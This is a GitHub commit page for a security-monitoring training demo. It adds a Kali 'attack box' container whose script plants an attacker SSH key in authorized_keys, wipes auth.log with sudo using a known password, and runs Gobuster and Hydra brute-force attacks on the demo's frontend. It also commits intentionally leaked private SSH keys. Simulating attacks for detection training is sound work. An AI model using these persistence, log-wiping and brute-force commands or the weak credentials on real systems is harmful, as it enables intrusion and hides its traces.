Skip to content
This repository was archived by the owner on Apr 28, 2025. It is now read-only.

Commit c8a27e8

Browse files
stanleegoodspeedburningion
stanleegoodspeed
and
burningion
authored
Add attackbox to docker compose (#163)
* Add initial attack box container * add local docker compose * switch to kali, add gobuster cmd * add hydra cmd * add hydra cmd * add rsyslog * point gobuster to frontend * output auth.log to stdout * add loops * change loop struct * update readme * make log format accessible via volume * fix mount path * typo * add intentionally leaked keys * update readme Co-authored-by: KP Kaiser <kirk@zothcorp.com>
1 parent 3199fe5 commit c8a27e8

File tree

13 files changed

+380
-8
lines changed

13 files changed

+380
-8
lines changed

‎attack-box/.dockerignore‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Dockerfile*
2+
.dockerignore

‎attack-box/Dockerfile‎

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
FROM kalilinux/kali:latest
2+
RUN mkdir /app
3+
4+
ADD https://github.com/OJ/gobuster/releases/download/v3.1.0/gobuster-linux-amd64.7z /app
5+
ADD https://github.com/vanhauser-thc/thc-hydra/archive/refs/tags/v9.2.zip /app
6+
7+
# Install packages
8+
RUN export DEBIAN_FRONTEND=noninteractive && \
9+
apt-get update && \
10+
apt-get upgrade --yes && \
11+
apt-get install --yes libssl-dev libssh-dev libidn11-dev libpcre3-dev \
12+
libgtk2.0-dev libmariadb-dev libpq-dev libsvn-dev \
13+
firebird-dev libmemcached-dev libgpg-error-dev \
14+
libgcrypt20-dev openssh-client iputils-ping wordlists \
15+
build-essential libpq-dev p7zip unzip && \
16+
apt-get clean && \
17+
rm -rf /var/lib/apt/lists/*
18+
19+
# Create user and ssh dir
20+
RUN useradd -m user
21+
RUN mkdir -p /home/user/.ssh
22+
COPY keys/storedog-leaked-key /home/user/.ssh/id_rsa
23+
24+
# Install gobuster and hydra
25+
WORKDIR /app
26+
RUN gzip -d /usr/share/wordlists/rockyou.txt.gz
27+
RUN 7zr e ./gobuster-linux-amd64.7z && chmod +x gobuster
28+
RUN unzip v9.2.zip && cd thc-hydra-9.2/ && ./configure && make && make install
29+
30+
# Copy attack script and keys
31+
COPY . .
32+
33+
# Update permissions so ssh keys can be accessed outside sudo user
34+
RUN chown -R user:user /home/user/.ssh
35+
RUN chmod +x attack.sh
36+
RUN chown -R user ./keys
37+
38+
# Switch back to new user so we can SSH properly
39+
USER user
40+
41+
CMD [ "./attack.sh"]

‎attack-box/README.md‎

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# Attack Box
2+
3+
This is an attack container for simulating an adversary attempting to hack our online store.
4+
5+
The attack script has 3 stages:
6+
1) Malicious SSH configuration
7+
2) Gobuster
8+
3) Hydra
9+
10+
Stage 1 will begin as soon as the attack-box container starts and it will add a malicious SSH key to the `discounts` container.
11+
12+
Stages 2 and 3 are optional and are invoked via the docker compose command. More info is below.
13+
14+
## Deployment
15+
16+
The attack-box is configurable via environment variables in the `docker compose` command. The available variables are as follows:
17+
- **ATTACK_GOBUSTER**: Set to `1` to run the Gobuster tool for crawling directories on the frontend container
18+
- **ATTACK_HYDRA**: Set to `1` to run the Hydra tool for brute force login against the frontend container
19+
- **ATTACK_GOBUSTER_INTERVAL**: Number of seconds between GOBUSTER invocations (if ommited, GOBUSTER will run once)
20+
- **ATTACK_HYDRA_INTERVAL**: Number of seconds between HYDRA invocations (if ommited, HYDRA will run once)
21+
22+
Here's an example of what a `docker compose` command would look like if we wanted to run Gobuster every 500 seconds and Hydra every 900 seconds:
23+
24+
```POSTGRES_USER=postgres POSTGRES_PASSWORD=postgres DD_API_KEY=[API KEY] ATTACK_GOBUSTER=1 ATTACK_GOBUSTER_INTERVAL=500 ATTACK_HYDRA=1 ATTACK_HYDRA_INTERVAL=900 docker compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml up```
25+
26+
Note that we used `docker-compose-fixed-instrumented-attack.yml` as the target for docker compose. This is the only compose file where attack-box is used.
27+
28+
## Local dev
29+
Run the following commands locally (assuming you have `docker compose` already installed)
30+
1. Build all containers: `docker compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml build`
31+
2. Start the app: `POSTGRES_USER=postgres POSTGRES_PASSWORD=postgres DD_API_KEY=[API KEY] ATTACK_GOBUSTER=1 ATTACK_GOBUSTER_INTERVAL=500 ATTACK_HYDRA=1 ATTACK_HYDRA_INTERVAL=900 docker compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml up`
32+
33+
You should see a large influx of logs on the frontend container once Gobuster and Hydra start running. These should also be available in Datadog in the account tied to the provided API Key

‎attack-box/attack.sh‎

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
#!/bin/bash
2+
echo "Starting attackbox..."
3+
4+
echo "attempt to copy attacker key to discounts...."
5+
scp -o StrictHostKeyChecking=no ./keys/attacker-key.pub test@discounts:/home/test/.ssh
6+
7+
echo "attempt to update authorized_keys to have attacker key..."
8+
ssh -o StrictHostKeyChecking=no test@discounts /bin/bash <<EOT
9+
cat /home/test/.ssh/attacker-key.pub >> /home/test/.ssh/authorized_keys
10+
exit
11+
EOT
12+
13+
echo "attempt to clear log file and zero out unallocated disk space"
14+
ssh -o StrictHostKeyChecking=no -i ./keys/attacker-key test@discounts /bin/bash <<EOT
15+
echo "test" | sudo -S cp /dev/null /var/log/auth.log
16+
echo "test" | sudo -S dd if=/dev/zero of=tempfile bs=1000000 count=10
17+
exit
18+
EOT
19+
20+
# Add extra sleep to give frontend time to spin up (docker compose dependency is not enough)
21+
sleep 15
22+
23+
if [ "${ATTACK_GOBUSTER}" = 1 ];
24+
then
25+
if [[ -z "${ATTACK_GOBUSTER_INTERVAL}" ]]
26+
then
27+
# run single invocation
28+
./gobuster dir -u http://frontend:3000 -w /usr/share/wordlists/rockyou.txt
29+
else
30+
# run in a loop
31+
while true
32+
do
33+
./gobuster dir -u http://frontend:3000 -w /usr/share/wordlists/rockyou.txt
34+
sleep $ATTACK_GOBUSTER_INTERVAL
35+
done &
36+
fi
37+
fi
38+
39+
if [ "${ATTACK_HYDRA}" = 1 ];
40+
then
41+
if [[ -z "${ATTACK_HYDRA_INTERVAL}" ]]
42+
then
43+
hydra -l admin@storedog.com -P /usr/share/wordlists/rockyou.txt -s 3000 frontend http-post-form "/login:utf8=%E2%9C%93&authenticity_token=BonCnTVpWzCfGtgqZ7TiwEcSH89jz30%2F01vkNuVsKyKcC8xCF2DqeHF%2Bc%2B4U2CNWeArygGNPX%2BDvONHHz7Dr6Q%3D%3D&spree_user%5Bemail%5D=admin%40storedog.com&spree_user%5Bpassword%5D=^PASS^&spree_user%5Bremember_me%5D=0&commit=Login:Invalid email or password."
44+
else
45+
while true
46+
do
47+
hydra -l admin@storedog.com -P /usr/share/wordlists/rockyou.txt -s 3000 frontend http-post-form "/login:utf8=%E2%9C%93&authenticity_token=BonCnTVpWzCfGtgqZ7TiwEcSH89jz30%2F01vkNuVsKyKcC8xCF2DqeHF%2Bc%2B4U2CNWeArygGNPX%2BDvONHHz7Dr6Q%3D%3D&spree_user%5Bemail%5D=admin%40storedog.com&spree_user%5Bpassword%5D=^PASS^&spree_user%5Bremember_me%5D=0&commit=Login:Invalid email or password."
48+
sleep $ATTACK_HYDRA_INTERVAL
49+
done
50+
fi
51+
fi
52+
53+
echo "done"

‎attack-box/keys/README.md‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
### Attention
2+
3+
These keys are used for training purposes and were **intentionally** added to this repository. These keys are self-contained within the docker images used by `deploy/docker-compose-fixed-instrumented-attack.yml`. They do not reside in any other external server. Please do not flag for security purposes and/or a bug bounty program.

‎attack-box/keys/attacker-key‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
-----BEGIN OPENSSH PRIVATE KEY-----
2+
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
38+
-----END OPENSSH PRIVATE KEY-----

‎attack-box/keys/attacker-key.pub‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDT/u93T4U6ALDVKIF5t5n8FZ8FgaJ/rww3Yf+HBkfHI7LcA9McomQOzv2T0665EWosmmluT+JpwEnXNoZpJg4sdJSF2PFqlgrZl9mbyhsoxl3wVTUvFZb5yyw2nZdSbRx3OtmzBnOkPr25+btpx1wN6Tlvw3Yoc3Ewx4GVX1dkg3xRtVj42d6oeYWY9D3Y6+KmUBPcns2stU4cUzJy4RLtsW6Kvbwg0A9iPO06fhFZxHtmvl58m/rUzomeyUYSvHeGJyBO1fX/IFDNH27mky2Vsoc8Y6HA3m3fqPcvIrRYXc8q4T63ho4wVlTlENyZhz8c4x631fPqvR1iPvRGuDiTf8rzYQh0eayeitepS8RFAts7Q8o+6EswA7u33l5mJoCp2bw1Pr5/TIPszB0tg1tFzmDuejD4EXYTINFwlkiUP9PEtPAtHJtQe1dI9mTK3wW8t6XO1nBODTSeK292a6chMNwn7Hi9N3KWooYyxZZYRZZKat7ISfH02rfeiT6pchE= colin.cole@COMP-C02CD0UULVDN

‎attack-box/keys/storedog-leaked-key‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
-----BEGIN OPENSSH PRIVATE KEY-----
2+
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
38+
-----END OPENSSH PRIVATE KEY-----

‎deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml‎

Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
version: '3'
2+
services:
3+
agent:
4+
image: "datadog/agent:7.29.0"
5+
environment:
6+
- DD_API_KEY
7+
- DD_APM_ENABLED=true
8+
- DD_LOGS_ENABLED=true
9+
- DD_LOGS_CONFIG_CONTAINER_COLLECT_ALL=true
10+
- DD_PROCESS_AGENT_ENABLED=true
11+
- DD_DOCKER_LABELS_AS_TAGS={"my.custom.label.team":"team"}
12+
- DD_TAGS='env:development'
13+
ports:
14+
- "8126:8126"
15+
volumes:
16+
- /var/run/docker.sock:/var/run/docker.sock:ro
17+
- /proc/:/host/proc/:ro
18+
- /sys/fs/cgroup/:/host/sys/fs/cgroup:ro
19+
labels:
20+
com.datadoghq.ad.logs: '[{"source": "agent", "service": "agent"}]'
21+
discounts:
22+
environment:
23+
- FLASK_APP=discounts.py
24+
- FLASK_DEBUG=1
25+
- POSTGRES_PASSWORD
26+
- POSTGRES_USER
27+
- POSTGRES_HOST=db
28+
- DD_SERVICE=discounts-service
29+
- DD_AGENT_HOST=agent
30+
- DD_LOGS_INJECTION=true
31+
- DD_TRACE_ANALYTICS_ENABLED=true
32+
- DD_PROFILING_ENABLED=true
33+
- DD_VERSION=1.1
34+
build:
35+
context: ../../discounts-service
36+
ports:
37+
- "5001:5001"
38+
- "22"
39+
depends_on:
40+
- agent
41+
- db
42+
labels:
43+
com.datadoghq.ad.logs: '[{"source": "python", "service": "discounts-service"}]'
44+
my.custom.label.team: "discount"
45+
frontend:
46+
environment:
47+
- DD_AGENT_HOST=agent
48+
- DD_LOGS_INJECTION=true
49+
- DD_TRACE_ANALYTICS_ENABLED=true
50+
- DD_SERVICE=store-frontend
51+
- DB_USERNAME
52+
- DB_PASSWORD
53+
- DD_VERSION=1.1
54+
- DD_CLIENT_TOKEN
55+
- DD_APPLICATION_ID
56+
image: "ddtraining/storefront-fixed:latest"
57+
volumes:
58+
- "../../store-frontend/src/store-frontend-instrumented-fixed:/app"
59+
command: sh docker-entrypoint.sh
60+
ports:
61+
- "3000:3000"
62+
depends_on:
63+
- agent
64+
- db
65+
- discounts
66+
- advertisements
67+
labels:
68+
com.datadoghq.ad.logs: '[{"source": "ruby", "service": "store-frontend"}]'
69+
my.custom.label.team: "frontend"
70+
advertisements:
71+
environment:
72+
- FLASK_APP=ads.py
73+
- FLASK_DEBUG=1
74+
- POSTGRES_PASSWORD
75+
- POSTGRES_USER
76+
- POSTGRES_HOST=db
77+
- DD_SERVICE=advertisements-service
78+
- DD_AGENT_HOST=agent
79+
- DD_LOGS_INJECTION=true
80+
- DD_TRACE_ANALYTICS_ENABLED=true
81+
- DD_PROFILING_ENABLED=true
82+
- DD_VERSION=1.0
83+
image: "ddtraining/advertisements-fixed:latest"
84+
command: ddtrace-run flask run --port=5002 --host=0.0.0.0
85+
ports:
86+
- "5002:5002"
87+
depends_on:
88+
- agent
89+
- db
90+
labels:
91+
com.datadoghq.ad.logs: '[{"source": "python", "service": "ads-service"}]'
92+
my.custom.label.team: "advertisements"
93+
db:
94+
image: postgres:11-alpine
95+
restart: always
96+
environment:
97+
- POSTGRES_PASSWORD
98+
- POSTGRES_USER
99+
labels:
100+
com.datadoghq.ad.logs: '[{"source": "postgresql", "service": "postgres"}]'
101+
attackbox:
102+
build:
103+
context: ../../attack-box
104+
environment:
105+
- ATTACK_GOBUSTER
106+
- ATTACK_HYDRA
107+
- ATTACK_GOBUSTER_INTERVAL
108+
- ATTACK_HYDRA_INTERVAL
109+
depends_on:
110+
- discounts
111+
- frontend

‎discounts-service/Dockerfile‎

Lines changed: 20 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -8,24 +8,36 @@ FROM python:3.9.6-slim-buster
88
RUN export DEBIAN_FRONTEND=noninteractive && \
99
apt-get update && \
1010
apt-get upgrade --yes && \
11-
apt-get install --yes build-essential libpq-dev && \
11+
apt-get install --yes build-essential libpq-dev openssh-server sudo dumb-init rsyslog && \
1212
apt-get clean && \
1313
rm -rf /var/lib/apt/lists/*
1414

15+
# Setup for attack scenario
16+
RUN useradd -rm -g root -G sudo test
17+
RUN echo 'test:test' | chpasswd
18+
USER test
19+
1520
# Bring in app
1621
WORKDIR /app
1722
COPY . .
1823

19-
# Install dependencies via pip and avoid caching build artifacts
20-
RUN pip install --no-cache-dir -r requirements.txt
24+
# Create SSH config for attack scenario
25+
RUN mkdir -p /home/test/.ssh
26+
COPY keys/storedog-leaked-key.pub /home/test/.ssh
27+
RUN touch /home/test/.ssh/authorized_keys
28+
RUN cat /home/test/.ssh/storedog-leaked-key.pub >> /home/test/.ssh/authorized_keys
2129

30+
USER root
2231
# Let Flask know what to boot
2332
ENV FLASK_APP=discounts.py
2433
ENV DD_ENV=development
2534

26-
# Listen on 5001
27-
EXPOSE 5001
35+
# Install dependencies via pip and avoid caching build artifacts
36+
RUN pip install --no-cache-dir -r requirements.txt
37+
RUN chmod +x ./my-wrapper-script.sh
38+
39+
# required to get logs out of the container
40+
ENTRYPOINT ["/usr/bin/dumb-init", "--"]
2841

29-
# Start the app using ddtrace so we have profiling and tracing
30-
ENTRYPOINT ["ddtrace-run"]
31-
CMD ["flask", "run", "--port=5001", "--host=0.0.0.0"]
42+
# runs sshd and flask server
43+
CMD ["./my-wrapper-script.sh"]

0 commit comments

Comments
 (0)